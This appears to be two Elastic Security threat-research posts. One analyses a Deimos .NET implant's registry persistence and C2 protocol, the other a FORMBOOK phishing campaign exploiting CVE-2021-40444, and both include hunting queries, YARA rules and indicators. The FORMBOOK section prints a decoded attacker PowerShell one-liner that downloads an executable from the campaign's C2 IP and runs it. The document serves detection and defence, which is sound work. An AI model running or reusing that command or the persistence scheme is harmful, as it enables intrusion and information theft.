The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at HKEY\_CURRENT\_USER\Software\Classes\\, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \Shell\Open\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.

The final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.

Command and Control Phase

The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.

There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.

No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

Figure 12: C2 HTTP headers

Figure 13 depicts the hex dump of the body of the client's POST request.

The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.

The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in Figure 24, we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.

Main Loop

Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.

If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either "file" or "command". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.

For "file" tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an "exe" file, a "ps1" file, or a "module", which is a .Net Assembly file.

When an "exe" is downloaded, it will be written to a file in the %TEMP%\.exe, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.

When a "ps1" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.

Finally, "module" files are added to a "plugin manager" and executes the "Run" method.

For "command" tasks, no additional request is required. The "command" value from the response contains PowerShell code that will be executed the same as the "ps1" file type.

Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the "command" type. For larger scripts, the "file" type would be used.

Tools

Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.

Comments : This installation was built with Inno Setup.
Company Name :
File Description : SlimReader Setup
File Version :
Legal Copyright : (c) InvestTech
Original File Name :
Product Name : SlimReader
Product Version : 1.4.1.2

Figure 14: Malware lure file metadata

While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire identified SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.

TTPs

At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as Google Sneaky Redirects and Search Engine Optimization (SEO) Poisoning to trick users into installing the malware.

SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for "free resume template", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.

Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.

Impact

The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT&CK® framework. Other TTPs may exist, however, they were not observed during our analysis.

Tactics

Techniques / Sub Techniques

Detection

There is an existing detection rule that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.

Detection Logic

Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.

New Detection Rules

Suspicious Registry Modifications

Abnormal File Extension in User AppData Roaming Path

Hunting Queries

These queries can be used in Kibana's Security -> Timelines -> New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.

This query will identify the initial dropped file containing the obfuscated installer.

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""

Figure 16: Hunt query identifying initial installer

This query will identify the unique “Hardware ID” file (hwid) that is created the first time the implant is run. This ID file is used to uniquely identify this installation.

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""

Figure 18: Hunt query identifying Hardware ID

This query will identify any files with a file extension of ten or more characters in the AppData\Roaming path.

file where file.path : "*\\appdata\\roaming\\*" and
length(file.extension) >= 10 and
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")

Figure 20: Hunt query identifying long file extensions

This query will identify a long string value containing the word "powershell" in the Registry.

registry where registry.data.strings : "*powershell*" and length(registry.data.strings) \>= 100

Figure 22: Hunt query identifying long Registry strings

YARA Rules

We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.

rule Windows_Trojan_Deimos_DLL {
meta:
author = "Elastic Security"
creation_date = "2021-09-18"
last_modified = "2021-09-18"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "Deimos"
threat_name = "Windows.Trojan.Deimos"
description = "Detects the presence of the Deimos trojan DLL file."
reference = ""
reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

strings:
$a1 = "\\APPDATA\\ROAMING" wide fullword
$a2 = "\{\"action\":\"ping\",\"" wide fullword
$a3 = "Deimos" ascii fullword
$b1 = \{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \}
$b2 = \{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \}
condition:
all of ($a*) or 1 of ($b*)
\}

Figure 24: Deimos DLL YARA Rule

You can access this YARA rule here.

Defensive Recommendations

The following steps can be leveraged to improve a network's protective posture.

Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.
Review and ensure that you have deployed the latest Microsoft Security Updates
Maintain backups of your critical systems to aid in quick recovery.

References

The following research was referenced throughout the document:

Indicators

| Indicators | Type | Note | | ---------------------------------------------------------------- | ----------- | ------------------- | | f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421 | SHA256 hash | Lure file | | af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f | SHA256 hash | Malware installer | | d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54 | SHA256 hash | .NET DLL file | | 216[.]230[.]232[.]134 | IP address | Command and control |

FORMBOOK Adopts CAB-less Approach

Derek Ditch,Daniel Stepanic,Seth Goodwin,Andrew Pease — Tue, 07 Jun 2022 00:00:00 GMT

The Elastic Intelligence & Analytics team is tracking a new FORMBOOK information-stealing campaign leveraging the MSHTML remote code exploit (CVE-2021-40444). This campaign has been observed sharing infrastructure between the Weaponization phases of both the testing and production releases.

We have observed, and will discuss, three phases of this campaign relevant to defenders:

Testing phase using CVE-2021-40444
Production phase using CVE-2021-40444
Generic phase without CVE-2021-40444

As of November 8, 2021, Elastic observed network infrastructure actively being used to deploy the FORMBOOK information stealer and acting as a command and control endpoint serving archives, implants, and scripts leveraged throughout the campaign variations.

We wanted to call out some great adjacent research from the team as Sophoslabs Uncut that was released on December 21, 2021. Research groups frequently analyze similar, or in this case, the same campaigns through their lens. This is fantastic as it gets more eyes, from different perspectives, onto the same problem. If you're looking for more information, please check out their research over on their blog.

Key Takeaways

The speed at which vulnerability PoC’s are being released highlights the need to leverage threat hunting to identify post-exploitation events before patches can be applied
A FORMBOOK campaign was observed combining infrastructure that allowed testing and production phases to be linked together
Patching for the MSHTML exploit appears to be effective as the campaign shifted from attempting to use the exploit to a traditional phishing malware-attachment approach
The campaign required a multi-process attack chain to load a DLL file onto victim systems

On September 7, 2021, Microsoft confirmed a vulnerability for the browser rendering engine used in several applications such as those within the Microsoft Office suite. Within three days [1] [2], proof-of-concept code was released, highlighting the maturity of the exploit development ecosystem and underscoring the importance of proactive threat hunting and patch management strategies.

Based on telemetry, we observed this exploit used in conjunction with the FORMBOOK information stealer. We also identified an adversary tradecraft oversight that led to us connecting what appeared to be campaign testing infrastructure and a FORMBOOK phishing campaign targeting manufacturing victims with global footprints.

This post details the tactics, techniques, and procedures (TTPs) of this campaign. Our goal is to enable detection capabilities for security practitioners using the Elastic Stack and any readers concerned with the CVE-2021-40444 vulnerability or campaigns related to FORMBOOK.

Details

When Microsoft disclosed a vulnerability in the browser rendering engine used by multiple Microsoft Office products, proof-of-concept code was released within three days. This allowed defenders to observe how the exploit operated and to develop countermeasures to defend their networks while patches and mitigating workarounds could be deployed [1], [2], [3], [4], [5], [6].

Additionally, this highlights the maturity of the exploit development community — underscoring the importance of proactive measures (like network and endpoint monitoring, anti-spam/phishing countermeasures, email MIME-type attachment policies, etc.) and an exercised patch management strategy.

At a high level, an attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that will allow for code to be remotely executed on a victim machine. While this vulnerability is well documented, security researcher

We initiated several collection techniques simultaneously, including searching for malicious attachments that would be included in phishing emails — one of the most common mechanisms for distributing exploit code. We noticed that not many malicious email attachments had been reported, and by October 28, 2021, we were only able to identify four instances of this exploit leveraged with email. In addition to the four instances of the exploit, we observed the threat actor attempting to leverage a generic phishing approach with the FORMBOOK malware as an attachment.

The next following sections will break down these different campaign sightings and their respective details:

Testing
Production
Generic

Throughout the Details section, it is important to note a few things that are required for this attack chain to function, irrespective of the Testing or Production phases

A major challenge for the campaign is to get a DLL file onto the victim system

ActiveX controls are DLL files with special constraints

Web pages can link ActiveX controls directly or load files that are contained in a URL --- this is not recommended by Microsoft because file signatures cannot be validated

Testing phase

The first sighting contained an email with a single attachment with a sender of admin0011[@]issratech.com. While researching that email address, we discovered this email address associated with additional malicious samples in VirusTotal. The email observed in this phase included a single attachment called Request Details.docx.

Email attachments are stored as Base64 encoded strings in the email. To extract the Request Details.docx email attachment, we can use the echo command to send the Base64 encoded string to STDOUT, pipe it to the base64 program, and save it as email-attachment so that we can analyze it.

$ echo "UEsDBBQAAAAIAFCELVO0gTweZgEAAIgFAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLVUyWrDMBC9F/oPRtdgK+...truncated..." | base64 -D -o email-attachment

Request Details.docx

The file command is a standard Unix and Unix-like program for identifying a file type. Running the file command, verified that this was a Microsoft Word document:

$ file email-attachment
email-attachment: Microsoft Word 2007+

Microsoft Office documents, post-2007, are compressed archives. To dig into the document without opening it, you can decompress the file using the unzip command as illustrated below.

$ unzip email-attachment
Archive:  email-attachment
    inflating: [Content_Types].xml
    inflating: docProps/app.xml
    inflating: docProps/core.xml
    inflating: word/document.xml
    inflating: word/fontTable.xml
    inflating: word/settings.xml
    inflating: word/styles.xml
    inflating: word/webSettings.xml
    inflating: word/media/image1.jpeg
    inflating: word/media/image2.wmf
    inflating: word/theme/theme1.xml
    inflating: word/_rels/document.xml.rels
    inflating: _rels/.rels

Within the document relationship file (word/_rels/document.xml.rels), we can view metadata about how different elements of the document are related to each other.

$ cat word/_rels/document.xml.rels

...truncated...

...truncated

From here, we can see an externally linked MHTML OLE object inside an element using HTML entities, which reserve characters in HTML. HTML entities are natively not human readable, so they need to be decoded. Using the data analyzer and decoder from the United Kingdom’s Government Communications Headquarters (GCHQ), CyberChef, we were able to quickly decode the HTML entities with the “From HTML Entity” recipe (CyberChef recipes are pre-configured data parsers and decoders).

The decoded HTML entity was HTTP:\104[.]244[.]78[.]177\Pope.txt. This provided us with another atomic indicator to add to the admin0011[@]issratech.com email address we’d previously collected, 104[.]244[.]78[.]177. Additionally, the decoded HTML entity revealed another file that could be of interest, Pope.txt.

Pope.txt

We retrieved a copy of Pope.txt from 104[.]244[.]78[.]177 and observed that it contained JavaScript code using variable renaming and string obfuscation. This JavaScript performs the following functions:

Downloads a Cabinet archive file called comres.cab from the same IP address but fails to extract it
Creates several ActiveX objects (which are executable applications or libraries) to be loaded into the browser rendering engine
Uses the CVE-2021-40444 vulnerability with the ActiveX objects to perform directory traversal and execute a file called IEcache.inf. This filename is the DLL loader from the ASL IT Security PoC code and doesn’t exist in this test run

The above figure shows the notable section of the obfuscated JavaScript code. We used a debugger to parse out the results of the lookup functions (shown commented out with //‘s). This revealed the classid (CLSID:edbc374c-5730-432a-b5b8-de94f0b57217) attribute which appears across the web in various other malware analyses of CVE-2021-40444. This suggests with moderate confidence that this JavaScript was crafted using some repurposed code that has been open-sourced. The classid attribute is used to determine if comres.cab has already been downloaded — if it has, it won’t attempt to download it again.

Once comres.cab is downloaded and extracted, the extracted file must be located. This is why there are multiple directory execution attempts observed in JavaScript. All the work up to this point is to get the DLL (IEcache.inf) onto the filesystem. Finally, the DLL file would be executed as a control panel file (.cpl), because control panel files can be loaded as DLLs.

Comres.cab and 1.doc.inf

In our sample, comres.cab does not include the ASL IT Security PoC DLL (IEcache.inf). It included a file called 1.doc.inf.

From comres.cab we used the file archive utility, 7-Zip, to extract 1.doc.inf. This file is interesting because it has the .inf (setup information file) extension, but in using the file command, we can see that it is actually a DLL file, meaning that the file type is being obfuscated.

$ 7z e comres.cab
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 6060053 bytes (5919 KiB)
Extracting archive: comres.cab
--
Path = comres.cab
Type = Cab
Physical Size = 6060053
Method = None
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 1234
Everything is Ok
Size:       4465152
Compressed: 6060053

$ file 1.doc.inf
1.doc.inf: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

When analyzing the import address table (IAT) of 1.doc.inf, we observed multiple API functions, which would allow the file to download and execute additional files. Of particular note were the ShellExecuteExA and URLDownloadToFileW API functions.

=== IMPORTS ===
MODULE_NAME      HINT   ORD  FUNCTION_NAME
bcrypt.dll          0        BCryptSetProperty
                    0        GetKeyState
ADVAPI32.dll        0        RegDeleteKeyW
SHELL32.dll         0        ShellExecuteExA
urlmon.dll          0        URLDownloadToFileW
WS2_32.dll                9
ole32.dll           0        CoInitializeSecurity
NETAPI32.dll        0        NetLocalGroupAddMembers
OLEAUT32.dll              8
PSAPI.DLL           0        GetModuleFileNameExW
                    0        WTSSendMessageW
                    0        GetProcessWindowStation
                    0        LocalAlloc
                    0        GetModuleFileNameW
                    0        GetProcessAffinityMask
                    0        SetProcessAffinityMask
                    0        SetThreadAffinityMask
                    0        Sleep
                    0        ExitProcess
                    0        FreeLibrary
                    0        LoadLibraryA
                    0        GetModuleHandleA
                    0        GetProcAddress
                    0        GetProcessWindowStation
                    0        GetUserObjectInformationW

Through further analysis of the DLLs sections list, we identified that the file was protected with VMProtect (identified by the .vmp0, .vmp1, .vmp2, .vmp3 sections). “VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze.”

$ pedump --sections 1.doc.inf | awk '{print $1, $2, $3, $4}'
=== SECTIONS ===
NAME    RVA    VSZ    RAW_SZ
.text   1000   12ecd  0
.rdata  14000  49ce   0
.data   19000  1350d8 0
.vmp1   14f000 2c70   0
.vmp0   152000 fac    0
.bss    153000 1000   0
.vmp2   154000 38c0bb 0
.vmp3   4e1000 5c6720 5c6800
.reloc  aa8000 5b4    600

As we were unable to analyze the VMProtected file, we continued to explore other information that we’d previously collected. Specifically, we searched for additional samples that had been sent using the same admin0011[@]issratech.com email address. These parallel analyses identified additional samples and campaign phases, which we’re referring to as the Production and Generic phases.

Production phase

The second, third, and fourth sightings all had the same sender field of admin0011[@]issratech.com and included a single attachment — Profile.rar file — to deliver the second stage malware.

Profile.rar

Previously, we’ve highlighted files that have an extension that differs from their actual file type. To validate that the attachment is a RAR archive, we again use the file command to validate that it is a RAR archive.

$ file Profile.rar
Profile.rar: data

The attachment has a RAR file extension, but instead of having a file type of RAR archive data, v5, it is raw data. Analysts who discover a file containing raw data can use the less command to dump the file contents to STDOUT to directly inspect what may be inside.

$ less Profile.rar
 Rar!...truncated...

The raw data includes a script job element that can be natively interpreted by the Windows Script Host (WSH). The job element directs WSH to spawn a shell that spawns a hidden PowerShell process which then runs a Base64 encoded PowerShell script. However, the script job element needs to be executed, which isn’t done by double-clicking on the file.

Decoding this string, we can see that a file called abb01.exe is downloaded and executed from 104[.]244[.]78[.]177. This is the same IP address we have observed across all Testing and Production phases.

echo "aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"\ | base64 -D
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”

We'll continue to explore this file to identify how the script job is executed. As we displayed above, the file still has the Rar! header, so we can decompress this archive. First, we'll use the unrar program with the e switch to decompress the RAR archive and retrieve the contents: document.docx.

$ unrar e Profile.rar
Extracting from Profile.rar
Extracting  document.docx                                             OK
All OK

document.docx

While Profile.rar appears to be a compressed archive, the PowerShell script won’t download and execute abb01.exe automatically upon decompressing it. To execute that script, the compressed document within Profile.rar, document.docx, must be opened.

Using the same technique as we highlighted in the Testing phase, we decompressed document.docx and examined the document relationship file (word/_rels/document.xml.rels). As previously described, we observed a remote OLE object stored and formatted as an HTML entity code block that we can decode using CyberChef.

We see the same IP address, 104[.]244[.]78[.]177 and a new filename called Profile.html.

Profile.html

Based on the HTML code, this initially appeared to be an Apache landing page. However, closer inspection identified another obfuscated JavaScript towards the bottom of the page.






Getting Started - Apache HTTP Server Version 2.5
...truncated…

Deobfuscating the JavaScript using the same debugger as before, we can see several ActiveXObjects. This time, however, there are far fewer and the execution is more prescripted, eliminating useless calls. This shows a refinement from before. This newer code also uses a .wsf extension instead of the previous .cpl. This allows the exploit to use the Windows Scripting Host to execute code. This is the same directory traversal technique we observed in the Testing phase. However, this time the JavaScript is looking for the Profile.rar file (whereas in the Testing phase, it was looking for IECache.inf) and attempting to execute the PowerShell script, which was prepended in Profile.rar as a Windows Script File (.wsf).

Dropper

As we illustrated above, Profile.rar has a prepended Base64 encoded PowerShell command which downloads abb01.exe. The JavaScript from Profile.html attempts to execute this PowerShell code within Profile.rar as a Windows Script File.

abb01.exe is a dropper that when dynamically executed, drops another PE file, yxojzzvhi0.exe in our example.

FORMBOOK Binary

yxojzzvhi0.exe was scanned with Elastic YARA rules and identified to be a variant of FORMBOOK, based on unique byte sequences.

FORMBOOK, also known as XLOADER, is an information stealer that includes keyloggers, clipboard copiers, and form grabber components to collect and exfiltrate sensitive information. This malware has been offered as-a-service for over five years and remains a successful tool for stealing information.

Generic phase

On October 28 and November 8, 2021, we observed additional sightings but used a generic phishing attachment tactic to load FORMBOOK. Additionally, we were able to collect some information from the email header that we’ll discuss in the Campaign Analysis section.

These sightings all have two RAR attachments. One of the attachments has a .rar file extension and the other has either a .gz or .7z extension. We’ll explore one of the sightings below.

$ file D2110-095.gz DWG.rar
D2110-095.gz: RAR archive data, v5
DWG.rar:      RAR archive data, v5

The RAR files contained two PE files. They were identical instances of a very common FORMBOOK variant.

$ omnihash DWG.exe D2110-095.exe
Hashing file DWG.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
Hashing file D2110-095.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096

Campaign analysis

While researching this FORMBOOK campaign, we observed infrastructure reuse and tooling similarities during testing and operational phases, which we believe represent a single campaign.

Email header

Throughout all sightings, the campaign used similar sending email addresses:

admin0011[@]issratech.com
admin010[@]backsjoy.com
admin012[@]leoeni.com

Additionally, across the Production and Generic phases of the campaign, we observed the X-Mailer element (the software identifier set by the sending email client) as RainLoop/1.16.0. RainLoop is an open-source email client. It should be noted that in our collection, one sighting had some header information sanitized before being uploaded to VirusTotal. RainLoop could have been referenced in this sighting, but we were not able to confirm that.

File hashes

Across the Production phase, we were able to identify code sharing through the use of the same attachment (Profile.rar).

IP addresses

Across the Testing and Production phases, we observed that 104[.]244[.]78[.]177 was used for all elements of the campaigns. This IP address was used to host archives, implants, and scripts.

Resource development

As research progressed, we observed activities we believed were capability testing. This activity was observed one time and used artifacts (IEcache.inf, document.xml.rels) from a public CVE-2021-40444 exploit proof-of-concept repository. Other phases included custom exploit code that differed from the PoC code but shared initial access and execution TTPs as well as the same network infrastructure.

We observed that the issratech[.]com, backsjoy[.]com, and leoeni[.]com domains own TLS certificates provided by Let’s Encrypt. While the steps of creating a TLS certificate are not overly cumbersome, the fact that the domain owner went through the preparatory process of creating a certificate could indicate that these domains are intended to be used for future encrypted operations.

In the Generic phase, the campaign abandoned the MSHTML exploit and attempted to leverage a traditional phishing malware-attachment approach. This shift in tactics is possibly because successful exploit patching rendered the vulnerability ineffective.

Victimology

We observed that of the four companies targeted by this campaign, all were in the manufacturing vertical. Threat actors utilizing FORMBOOK have been observed targeting the manufacturing vertical in the past. The companies all had international footprints in:

Industrial Materials, Aluminum extrusion, HQ in Germany (Testing phase)
Industrial Conglomerate, Industrial Chemicals, HQ in South Korea (Production phase)
Industrial Manufacturing Products and Consulting, HQ in Switzerland (Generic phase)
Industrial Mechanical Engineering and Manufacturing, HQ in Germany (Generic phase)

While the targeted companies are of note (in that they are in the same vertical), an email address domain observed in all three phases — issratech[.]com, appears similar to a legitimate Jamaican company domain, isratech[.]com (notice the difference between one and two s's), a business that specializes in irrigation, wastewater management, and solar energy. Below, is a screenshot of issratech[.]com using the default CyberPanel landing page. CyberPanel is a web hosting tool for WordPress sites.

Each targeted company of the admin0011[@]issratech.com email address have expertise or products that could have been valuable to an Isratch project listed on their projects page (https://www.isratech[.]com/projects/):

Chemical: Waste-water treatment, dairy production sanitation
Extruded aluminum: Solar array scaffolding, greenhouses

Two additional email address domains were observed in the Generic phase — one appears to be mimicking a legitimate medical equipment manufacturer (backjoy[.]com) and the other (leonei[.]com) appears to be adversary controlled, but seemingly not being used for legitimate purposes.

leonei[.]com is protected by a Denial-of-Service protection service, so their domain IP address likely represents multiple legitimate domains and any blocking of the leonei[.]com IP address from the indicator table should be carefully measured.

It is possible, but not confirmed, that the recipients of the phishing emails in all phases are from a list of email addresses in the manufacturing vertical. These email lists are commonly available for purchase to enable sales, marketing, and business-to-business (B2B) efforts but can also be used for phishing campaigns.

Tactics

Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.

Observed tactics:

Resource development
Initial access
Execution

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observed techniques/sub techniques

Acquire infrastructure - server
Obtain capabilities - malware and exploits
Stage capabilities - upload malware
Phishing - attachment
Command and scripting interpreter - PowerShell
Exploitation for client execution

Detections

Hunting queries

These queries can be used in Kibana’s Security → Timelines → New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.

This query will identify the CVE-2021-40444 exploit attempt from a malicious Access, Publisher, PowerPoint, or Word document.

process where event.type in ("start", "process_started") and process.parent.name : ("eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe") and process.command_line :
            ("*../../..*",
            "*..\\..\\*",
            "*cpl:..*",
            "*hta:..*",
            "*js:..*",
            "*jse:..*",
            "*sct:..*",
            "*vbs:..*",
            "*wsf:..*")

YARA rule

We have created a YARA rule to identify this FORMBOOK activity.

rule Windows_Trojan_FORMBOOK {
    meta:
        author = "Elastic Security"
        creation_date = "2021-06-14"
        last_modified = "2021-08-23"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "FORMBOOK"
        threat_name = "Windows.Trojan.FORMBOOK"
        reference_sample = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
    strings:
        $a1 = { 3C 30 50 4F 53 54 74 09 40 }
        $a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
        $a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
        $a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
    condition:
        any of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat
Review and ensure that you have deployed the latest Microsoft Security Updates
Maintain backups of your critical systems to aid in quick recovery

References

The following research was referenced throughout the document:

Indicators

| Indicator | Type | Reference from blog | Note | | ---------------------------------------------------------------- | ----------- | --------------------- | ------------------------------------ | | 70defbb4b846868ba5c74a526405f2271ab71de01b24fbe2d6db2c7035f8a7df | SHA256 | Request Document.docx | Testing phase email attachment | | 7c98db2063c96082021708472e1afb81f3e54fe6a4a8b8516e22b3746e65433b | SHA256 | comres.cab | Testing phase CAB archive | | 363837d5c41ea6b2ff6f6184d817c704e0dc5749e45968a3bc4e45ad5cf028d7 | SHA256 | 1.doc.inf | Testing phase VMProtect DLL | | 22cffbcad42363841d01cc7fef290511c0531aa2b4c9ca33656cc4aef315e723 | SHA256 | IEcache.inf | Testing phase DLL loader | | e2ab6aab7e79a2b46232af87fcf3393a4fd8c4c5a207f06fd63846a75e190992 | SHA256 | Pope.txt | Testing phase JavaScript | | 170eaccdac3c2d6e1777c38d61742ad531d6adbef3b8b031ebbbd6bc89b9add6 | SHA256 | Profile.rar | Production phase email attachment | | d346b50bf9df7db09363b9227874b8a3c4aafd6648d813e2c59c36b9b4c3fa72 | SHA256 | document.docx | Production phase compressed document | | 776df245d497af81c0e57fb7ef763c8b08a623ea044da9d79aa3b381192f70e2 | SHA256 | abb01.exe | Production phase dropper | | 95e03836d604737f092d5534e68216f7c3ef82f529b5980e3145266d42392a82 | SHA256 | Profile.html | Production phase JavaScript | | bd1c1900ac1a6c7a9f52034618fed74b93acbc33332890e7d738a1d90cbc2126 | SHA256 | yxojzzvhi0.exe | FORMBOOK malware | | 0c560d0a7f18b46f9d750e24667721ee123ddd8379246dde968270df1f823881 | SHA256 | DWG.rar | Generic phase email attachment | | 5a1ef64e27a8a77b13229b684c09b45a521fd6d4a16fdb843044945f12bb20e1 | SHA256 | D2110-095.gz | Generic phase email attachment | | 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096 | SHA256 | D2110-095.exe DWG.exe | FORMBOOK malware | | admin0011[@]issratech.com | email-addr | | Phishing sending email address | | admin010[@]backsjoy.com | email-addr | | Phishing sending email address | | admin012[@]leoeni.com | email-addr | | Phishing 